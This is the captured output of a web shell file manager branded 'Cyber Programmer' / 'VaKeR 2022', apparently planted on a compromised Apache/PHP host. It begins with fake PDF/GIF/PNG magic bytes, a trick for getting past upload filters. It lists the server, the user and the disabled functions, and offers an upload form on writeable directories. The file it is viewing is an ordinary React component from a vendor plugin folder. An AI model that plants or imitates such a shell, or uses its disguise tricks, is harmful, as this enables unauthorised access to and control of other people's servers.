%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/HomeView/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakedc/mixer/src/React/views/HomeView/HomeView.js
import React from 'react'
import { FetchData } from '../../components/FetchData'
import { PluginsList } from '../../components/PluginsList'

const HomeView = () => (
    <div className="row">
        <div className="col-md-6">
            <h3>This Week's Top Stars</h3>
            <FetchData namespace="homeTopStarred" query={`${window.apiUrl}/packages?sort=last_week_stars&direction=desc&limit=5`}>
                <PluginsList className="row" itemContainerClass="col-sm-12" />
            </FetchData>
            <h3>New Releases</h3>
            <FetchData namespace="homeNewPlugins" query={`${window.apiUrl}/packages?sort=latest_release_date&direction=desc&limit=5`}>
                <PluginsList className="row" itemContainerClass="col-sm-12" />
            </FetchData>
        </div>
        <div className="col-md-6">
            <h3>This Week's Top Downloads</h3>
            <FetchData namespace="homeTopDownloaded" query={`${window.apiUrl}/packages?sort=last_week_downloads&direction=desc&limit=5`}>
                <PluginsList className="row" itemContainerClass="col-sm-12" />
            </FetchData>
            <h3>New Plugins</h3>
            <FetchData namespace="homeNewReleases" query={`${window.apiUrl}/packages?sort=created&direction=desc&&limit=5`}>
                <PluginsList className="row" itemContainerClass="col-sm-12" />
            </FetchData>
        </div>
    </div>
)

export default HomeView;

VaKeR 2022